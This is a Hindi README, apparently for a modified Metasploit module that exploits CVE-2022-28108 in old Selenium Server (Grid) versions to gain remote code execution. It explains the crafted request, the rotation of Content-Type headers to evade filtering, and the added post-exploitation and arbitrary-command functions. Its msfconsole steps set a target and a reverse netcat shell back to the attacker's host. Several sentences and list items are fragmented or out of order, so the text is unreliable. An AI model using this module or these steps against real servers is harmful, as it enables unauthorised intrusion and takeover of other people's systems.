
इस रिपॉज़िटरी में Metasploit मॉड्यूल का एक संशोधित संस्करण है जो Selenium Server (Grid) के पुराने संस्करणों में Remote Code Execution (RCE) भेद्यता का फायदा उठाता है।
इस कोड का उपयोग करने से पहले कृपया इस README को ध्यान से पढ़ें।
मूल कोड की स्वीकृति:
यह मॉड्यूल CVE-2022-28108 के लिए Metasploit मॉड्यूल के मूल लेखकों के उत्कृष्ट कार्य पर आधारित है। Selenium Server भेद्यता का फायदा उठाने की मुख्य कार्यक्षमता काफी हद तक उनके कार्यान्वयन पर आधारित है। हम सुरक्षा समुदाय में उनके योगदान को स्वीकार करते हैं और उसकी सराहना करते हैं।
'Author' अनुभाग में)। उनके विशिष्ट नामों के लिए कृपया मूल मॉड्यूल देखें।शोषित भेद्यता:
यह मॉड्यूल CVE-2022-28108 को लक्षित करता है, जो Selenium Server (Grid) के 4.0.0-alpha-7 से पहले के संस्करणों में एक Cross-Site Request Forgery (CSRF) भेद्यता है। यह भेद्यता इसलिए उत्पन्न होती है क्योंकि सर्वर कुछ अनुरोधों के लिए गैर-JSON सामग्री प्रकारों (जैसे text/plain, application/x-www-form-urlencoded, और multipart/form-data) की अनुमति देता है। एक हमलावर इसका फायदा उठाकर दुर्भावनापूर्ण अनुरोध भेज सकता है, जिससे सर्वर पर Remote Code Execution (RCE) हो सकता है।
मूल कोड कैसे काम करता है:
मूल Metasploit मॉड्यूल भेद्यता का फायदा उठाने के लिए असुरक्षित Selenium Server के /wd/hub/session एंडपॉइंट पर एक निर्मित POST अनुरोध भेजता है। यह अनुरोध गैर-JSON Content-Type (विशेष रूप से text/plain) का उपयोग करता है और वांछित ब्राउज़र क्षमताओं के भीतर goog:chromeOptions में दुर्भावनापूर्ण कॉन्फ़िगरेशन शामिल करता है। यह एक हमलावर को एक मनमाना बाइनरी (जैसे /usr/bin/python3) और तर्क निर्दिष्ट करने की अनुमति देता है, जो नया ब्राउज़र सत्र शुरू होने पर सर्वर पर निष्पादित होते हैं।
इस संस्करण में संशोधन और संवर्द्धन:
इस रिपॉज़िटरी में मूल Metasploit मॉड्यूल का एक संशोधित संस्करण है। मुख्य संशोधनों में शामिल हैं:
Content-Type हेडर के साथ भेजकर भेद्यता का फायदा उठाने का प्रयास करता है। इसमें text/plain, application/x-www-form-urlencoded, और multipart/form-data शामिल हैं। ऐसा संभावित रूप से बुनियादी फ़िल्टरिंग या पहचान तंत्रों को बायपास करने के लिए किया जाता है जो किसी विशिष्ट Content-Type की तलाश कर सकते हैं।execute_post_exploitation फ़ंक्शन: एक नया फ़ंक्शन execute_post_exploitation(session_response) जोड़ा गया है। यह फ़ंक्शन सफल शोषण के बाद कॉल किया जाता है और बुनियादी पोस्ट-एक्सप्लॉइटेशन कार्य करने का लक्ष्य रखता है। वर्तमान कार्यान्वयन में, इसमें शामिल हैं:
execute_command_on_target फ़ंक्शन: एक और नया फ़ंक्शन execute_command_on_target(command) जोड़ा गया है। यह फ़ंक्शन सफल शोषण के बाद लक्ष्य सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देता है। इसका उपयोग execute_post_exploitation फ़ंक्शन के भीतर किया जाता है और इसे आगे की पोस्ट-एक्सप्लॉइटेशन गतिविधियों के लिए विस्तारित किया जा सकता है।मुख्य अंतर उजागर:
मुख्य अंतर exploit विधि और दो नए फ़ंक्शनों के जुड़ने में है।
exploit विधि: Content-Type: text/plain के साथ एक एकल अनुरोध भेजने पर केंद्रित थी।exploit विधि: विभिन्न Content-Type मानों के माध्यम से पुनरावृति करती है, प्रत्येक के साथ शोषण का प्रयास करती है। सफल शोषण पर, यह execute_post_exploitation फ़ंक्शन को कॉल करती है।execute_post_exploitation और execute_command_on_target फ़ंक्शन इस संशोधित संस्करण में पूरी तरह से नए जोड़ हैं, जो विस्तारित पोस्ट-एक्सप्लॉइटेशन क्षमताएं प्रदान करते हैं।संशोधित मॉड्यूल का उपयोग कैसे करें:
.rb फ़ाइल के रूप में सहेजें (उदाहरण के लिए, selenium_rce_extended.rb)।/usr/share/metasploit-framework/modules/exploits/ या ~/.msf4/modules/exploits/ पर स्थित होती है। सटीक स्थान के लिए अपने Metasploit इंस्टॉलेशन को देखें।msfconsole चलाएं।use exploit/selenium_rce_extended कमांड का उपयोग करें (या वह पथ जहां आपने फ़ाइल सहेजी है यदि आपने इसे उपनिर्देशिका में रखा है)।msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
महत्वपूर्ण विचार (अस्वीकरण):
दायित्व अस्वीकरण:
इस संशोधित कोड के लेखक इस मॉड्यूल के उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। इस कोड का उपयोग करके, आप अपने कार्यों की पूरी जिम्मेदारी लेने के लिए सहमत होते हैं।
लाइसेंस:
यह संशोधित कोड संभवतः मूल Metasploit Framework के समान लाइसेंस (आमतौर पर MSF लाइसेंस) के अंतर्गत कवर किया गया है। विवरण के लिए कृपया मूल Metasploit Framework लाइसेंस देखें।
योगदान:
इस मॉड्यूल में योगदान और सुधार का स्वागत है। कृपया बग फिक्स, संवर्द्धन या नई सुविधाओं के साथ पुल अनुरोध सबमिट करने के लिए स्वतंत्र महसूस करें।
स्वीकृतियां:
हम CVE-2022-28108 के लिए Metasploit मॉड्यूल के मूल लेखकों के प्रति अपनी कृतज्ञता दोहराते हैं। उनका कार्य इस संशोधित मॉड्यूल की नींव बनाता है।
exploit कमांड के साथ मॉड्यूल निष्पादित करें।